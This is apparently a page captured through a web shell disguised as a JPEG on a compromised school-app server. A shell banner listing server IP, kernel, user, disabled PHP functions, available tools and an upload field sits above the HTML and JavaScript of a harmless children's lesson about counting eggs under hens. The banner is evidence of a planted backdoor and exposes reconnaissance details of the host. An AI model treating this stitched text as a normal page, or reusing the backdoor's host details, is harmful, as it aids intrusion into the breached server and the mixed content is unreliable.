????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.191 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/appsrv.astacus.se/apps/school/www_old7/Html/LevelA/Category2/ |
Upload File : |
<!DOCTYPE html>
<html>
<head>
<title>Click eggs under the hen</title>
<script type="text/javascript" src="../../../js/allScriptsForLessonsHtml.js"></script>
<style>
.style_padding_bottom_zero
{
padding-bottom: 0px;
}
</style>
<script>
function page_preLoad()
{
shared_setDeviceTypeLevelCategoryLastLesson(Level.A, Category.No2);
shared_set_tblMainiPadBodyWidthHeight('id_tblMainiPadBody', 'id_meta');
shared_setHeaderTable('id_tblHeader', shared_title_page, shared_getSubTitle(Level.A, Category.No2, 10), 'Level A', true, true);
shared_setFooterTable('id_tblFooter', true, true, true, true, true);
var ids_headings = ['id_td_heading1'];
var ids_texts = ['id_td_text1', 'id_td_text2', 'id_td_text3', 'id_td_text4', 'id_td_text5'];
shared_adjust_fontSize_for_ids_all_devices(ids_texts, 80);
shared_adjust_fontSize_for_ids_all_devices(ids_headings, 80);
var id_tables_array = ['id_table1', 'id_table2', 'id_table3', 'id_table4', 'id_table5', 'id_table6'];
shared_border_collapse_for_tables_except_android(id_tables_array);
var eTd1 = document.getElementById('id_td1');
var eTdRectangle = eTd1.getBoundingClientRect();
var eTd1Height = eTdRectangle.height;
loadEggs('id_div1', 'id_td1', eTd1Height, 1);
loadEggs('id_div2', 'id_td2', eTd1Height, 6);
loadEggs('id_div3', 'id_td3', eTd1Height, 11);
loadEggs('id_div4', 'id_td4', eTd1Height, 16);
loadEggs('id_div5', 'id_td5', eTd1Height, 21);
shared_setTablesHeightsForIE();
}
function loadEggs(id_div, id_td, eTd1Height, id_egg_suffix_start_number)
{
var innerHtml = '';
var svgHeight = eTd1Height;
svgHeight *= shared_dataTableHeight > 500.0 ? 1.05 : 1.55;
var cy = '50%';
var rx = '5%';
var ry = '30%';
var id_egg = '';
if (shared_currentDeviceOS == shared_DeviceOS_WebOS)
{
cy = shared_dataTableHeight > 350.0 ? '50%' : '40%';
}
innerHtml += '<svg width="100%" height="' + svgHeight + '" style="background-color:tan; text-align: center; vertical-align:bottom">';
id_egg = 'id_egg' + id_egg_suffix_start_number;
innerHtml += '<ellipse id="' + id_egg + '" cx="20%" cy="' + cy + '" rx="' + rx + '" ry="' + ry + '" style="fill:tan;stroke:gold;stroke-width:3" onClick="drawEgg_click(\'' + id_egg + '\')" isClicked="false"/>';
id_egg = 'id_egg' + (id_egg_suffix_start_number + 1);
innerHtml += '<ellipse id="' + id_egg + '" cx="35%" cy="' + cy + '" rx="' + rx + '" ry="' + ry + '" style="fill:tan;stroke:gold;stroke-width:3" onClick="drawEgg_click(\'' + id_egg + '\')" isClicked="false"/>';
id_egg = 'id_egg' + (id_egg_suffix_start_number + 2);
innerHtml += '<ellipse id="' + id_egg + '" cx="50%" cy="' + cy + '" rx="' + rx + '" ry="' + ry + '" style="fill:tan;stroke:gold;stroke-width:3" onClick="drawEgg_click(\'' + id_egg + '\')" isClicked="false"/>';
id_egg = 'id_egg' + (id_egg_suffix_start_number + 3);
innerHtml += '<ellipse id="' + id_egg + '" cx="65%" cy="' + cy + '" rx="' + rx + '" ry="' + ry + '" style="fill:tan;stroke:gold;stroke-width:3" onClick="drawEgg_click(\'' + id_egg + '\')" isClicked="false"/>';
id_egg = 'id_egg' + (id_egg_suffix_start_number + 4);
innerHtml += '<ellipse id="' + id_egg + '" cx="80%" cy="' + cy + '" rx="' + rx + '" ry="' + ry + '" style="fill:tan;stroke:gold;stroke-width:3" onClick="drawEgg_click(\'' + id_egg + '\')" isClicked="false"/>';
innerHtml += '</svg>';
document.getElementById(id_div).innerHTML = innerHtml;
}
function page_onLoad()
{
}
function btnPrevious_click()
{
window.location = "LevelACat2Lesson09.html";
}
function btnNext_click()
{
window.location = "LevelACat2Lesson11.html";
}
function btnHome_click()
{
shared_btnHomeCategories_click('LevelA');
}
function drawEgg_click(id_egg)
{
var eEgg = document.getElementById(id_egg);
var fillColor = (eEgg.isClicked) ? 'tan' : 'gold';
eEgg.style.setProperty('fill', fillColor);
eEgg.isClicked = !(eEgg.isClicked);
}
function btnValidate_click()
{
var nEggsSelectedSet1 = getNoOfEggsSelected(1, 5);
var eTdHen = document.getElementById('id_hen1');
eTdHen.style.backgroundColor = (nEggsSelectedSet1 == 4) ? shared_colorGreen : shared_colorRed;
var nEggsSelectedSet2 = getNoOfEggsSelected(6, 10);
var eTdHen = document.getElementById('id_hen2');
eTdHen.style.backgroundColor = (nEggsSelectedSet2 == 2) ? shared_colorGreen : shared_colorRed;
var nEggsSelectedSet3 = getNoOfEggsSelected(11, 15);
var eTdHen = document.getElementById('id_hen3');
eTdHen.style.backgroundColor = (nEggsSelectedSet3 == 5) ? shared_colorGreen : shared_colorRed;
var nEggsSelectedSet4 = getNoOfEggsSelected(16, 20);
var eTdHen = document.getElementById('id_hen4');
eTdHen.style.backgroundColor = (nEggsSelectedSet4 == 3) ? shared_colorGreen : shared_colorRed;
var nEggsSelectedSet5 = getNoOfEggsSelected(21, 25);
var eTdHen = document.getElementById('id_hen5');
eTdHen.style.backgroundColor = (nEggsSelectedSet5 == 1) ? shared_colorGreen : shared_colorRed;
if (nEggsSelectedSet1 == 4 && nEggsSelectedSet2 == 2 && nEggsSelectedSet3 == 5 && nEggsSelectedSet4 == 3 && nEggsSelectedSet5 == 1)
{
shared_show_claps_animation('shared_id_div_claps_image');
}
}
function getNoOfEggsSelected(idSuffixStart, idSuffixEnd)
{
var nEggsSelected = 0;
for (var idStart = idSuffixStart; idStart <= idSuffixEnd; idStart++)
{
var eEgg = document.getElementById('id_egg' + idStart);
if (eEgg.isClicked)
{
nEggsSelected++;
}
}
return (nEggsSelected);
}
</script>
</head>
<body onload="page_onLoad()">
<div id="shared_id_div_claps_image">
</div>
<table id="id_tblMainiPadBody" border="1px" cellspacing="0" cellpadding="0">
<tr height="8%">
<td>
<div id="id_tblHeader"></div>
</td>
</tr>
<tr height="*" hieghtForIE="84%" data-role="page"> <!-- for swiping left and right especially for Android device -->
<td>
<table class="style_borderNone" width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td>
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="2%">
<tr height="5%">
<td class="style_padding_bottom_zero">
<table width="100%" height="100%" border="1" cellspacing="0" cellpadding="0">
<tr>
<td id="id_td_heading1" width="100%" class="shared_style_options_black_24px_bold" style="border: none"><u>Click eggs under the <span style="color: red"><u>hen.</u></span></u>
</td>
</tr>
</table>
</td>
</tr>
<tr height="*" hieghtForIE="95%">
<td>
<table id="id_table6" width="100%" height="100%" border="1" cellspacing="0" cellpadding="1%">
<tr>
<td align="center">
<table id="id_table7" width="100%" height="100%" border="0" cellspacing="0" cellpadding="1%">
<tr>
<td align="center">
<table id="id_table1" width="100%" height="100%" border="1" cellspacing="0" cellpadding="0">
<tr>
<td width="*" align="center">
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
<tr height="*" hieghtForIE="75%">
<td style="text-align: center">
<img id="id_hen1" width="12%" src="../../../img/LevelA/Category2/LevelACat2Lesson10/imgHen2.gif" draggable="false">
</td>
</tr>
<tr height="25%">
<td id="id_td1" width="100%" style="text-align: center; background:tan">
<div id="id_div1"></div>
</td>
</tr>
</table>
</td>
<td id="id_td_text1" class="shared_style_black_24px_bold" width="25%" style="text-align: center">
4 eggs
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td align="center">
<table id="id_table2" width="100%" height="100%" border="1" cellspacing="0" cellpadding="0">
<tr>
<td width="*" align="center">
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
<tr height="*" hieghtForIE="75%">
<td style="text-align: center">
<img id="id_hen2" width="12%" src="../../../img/LevelA/Category2/LevelACat2Lesson10/imgHen2.gif" draggable="false">
</td>
</tr>
<tr height="25%">
<td id="id_td2" width="100%" style="text-align: center; background:tan">
<div id="id_div2"></div>
</td>
</tr>
</table>
</td>
<td id="id_td_text2" class="shared_style_black_24px_bold" width="25%" style="text-align: center;">
2 eggs
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td align="center">
<table id="id_table3" width="100%" height="100%" border="1" cellspacing="0" cellpadding="0">
<tr>
<td width="*" align="center">
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
<tr height="*" hieghtForIE="75%">
<td style="text-align: center">
<img id="id_hen3" width="12%" src="../../../img/LevelA/Category2/LevelACat2Lesson10/imgHen2.gif" draggable="false">
</td>
</tr>
<tr height="25%">
<td id="id_td3" width="100%" style="text-align: center; background:tan">
<div id="id_div3"></div>
</td>
</tr>
</table>
</td>
<td id="id_td_text3" class="shared_style_black_24px_bold" width="25%" style="text-align: center; ">
5 eggs
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td align="center">
<table id="id_table4" width="100%" height="100%" border="1" cellspacing="0" cellpadding="0">
<tr>
<td width="*" align="center">
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
<tr height="*" hieghtForIE="75%">
<td style="text-align: center">
<img id="id_hen4" width="12%" src="../../../img/LevelA/Category2/LevelACat2Lesson10/imgHen2.gif" draggable="false">
</td>
</tr>
<tr height="25%">
<td id="id_td4" width="100%" style="text-align: center; background:tan">
<div id="id_div4"></div>
</td>
</tr>
</table>
</td>
<td id="id_td_text4" class="shared_style_black_24px_bold" width="25%" style="text-align: center; ">
3 eggs
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td align="center">
<table id="id_table5" width="100%" height="100%" border="1" cellspacing="0" cellpadding="0">
<tr>
<td width="*" align="center">
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
<tr height="*" hieghtForIE="75%">
<td style="text-align: center">
<img id="id_hen5" width="12%" src="../../../img/LevelA/Category2/LevelACat2Lesson10/imgHen2.gif" draggable="false">
</td>
</tr>
<tr height="25%">
<td id="id_td5" width="100%" style="text-align: center; background:tan">
<div id="id_div5"></div>
</td>
</tr>
</table>
</td>
<td id="id_td_text5" class="shared_style_black_24px_bold" width="25%" style="text-align: center">
1 egg
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
<tr height="8%">
<td>
<div id="id_tblFooter"></div>
</td>
</tr>
</table>
<script>
page_preLoad();
</script>
</body>
</html>